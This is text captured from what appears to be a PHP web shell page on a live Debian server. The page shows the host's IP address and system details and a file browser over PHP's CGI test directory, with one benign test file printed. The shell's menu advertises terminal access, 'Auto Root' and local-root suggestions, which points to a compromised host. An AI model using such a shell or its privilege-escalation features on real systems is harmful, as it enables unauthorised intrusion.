Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.152
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
sapi /
cgi /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
001.phpt
324
B
-rw-rw-r--
2022-10-31 11:36
002.phpt
1.08
KB
-rw-rw-r--
2022-10-31 11:36
003.phpt
1.13
KB
-rw-rw-r--
2022-10-31 11:36
004.phpt
777
B
-rw-rw-r--
2022-10-31 11:36
005-win32.phpt
483
B
-rw-rw-r--
2022-10-31 11:36
005.phpt
486
B
-rw-rw-r--
2022-10-31 11:36
006.phpt
947
B
-rw-rw-r--
2022-10-31 11:36
007.phpt
387
B
-rw-rw-r--
2022-10-31 11:36
008.phpt
2.18
KB
-rw-rw-r--
2022-10-31 11:36
009.phpt
523
B
-rw-rw-r--
2022-10-31 11:36
010.phpt
947
B
-rw-rw-r--
2022-10-31 11:36
011.phpt
2.74
KB
-rw-rw-r--
2022-10-31 11:36
apache_request_headers.phpt
1.43
KB
-rw-rw-r--
2022-10-31 11:36
apache_response_headers.phpt
901
B
-rw-rw-r--
2022-10-31 11:36
bug60677.phpt
175
B
-rw-rw-r--
2022-10-31 11:36
bug61605.phpt
587
B
-rw-rw-r--
2022-10-31 11:36
bug69487.phpt
16.54
KB
-rw-rw-r--
2022-10-31 11:36
bug75574_utf8.phpt
574
B
-rw-rw-r--
2022-10-31 11:36
bug78323.phpt
769
B
-rw-rw-r--
2022-10-31 11:36
bug80849-cgi.phpt
1.16
KB
-rw-rw-r--
2022-10-31 11:36
bug81518a.phpt
315
B
-rw-rw-r--
2022-10-31 11:36
bug81518b.phpt
281
B
-rw-rw-r--
2022-10-31 11:36
include.inc
1.42
KB
-rw-rw-r--
2022-10-31 11:36
skipif.inc
163
B
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- strip comments and whitespace with -w --SKIPIF-- <?php if (substr(PHP_OS, 0, 3) == 'WIN') { die ("skip not for Windows"); } include "skipif.inc"; ?> --FILE-- <?php include "include.inc"; $php = get_cgi_path(); reset_env_vars(); $filename = __DIR__.'/003.test.php'; $code =' <?php /* some test script */ class test { /* {{{ */ public $var = "test"; //test var #perl style comment private $pri; /* private attr */ function foo(/* void */) { } } /* }}} */ ?> '; file_put_contents($filename, $code); var_dump(`$php -n -w "$filename"`); var_dump(`$php -n -w "wrong"`); var_dump(`echo "<?php /* comment */ class test {\n // comment \n function foo() {} } ?>" | $php -n -w`); @unlink($filename); echo "Done\n"; ?> --EXPECTF-- string(%d) "X-Powered-By: PHP/%s Content-type: text/html%r; charset=.*|%r <?php class test { public $var = "test"; private $pri; function foo() { } } ?> " string(%d) "Status: 404 Not Found X-Powered-By: PHP/%s Content-type: text/html%r; charset=.*|%r No input file specified. " string(%d) "X-Powered-By: PHP/%s Content-type: text/html%r; charset=.*|%r <?php class test { function foo() {} } ?> " Done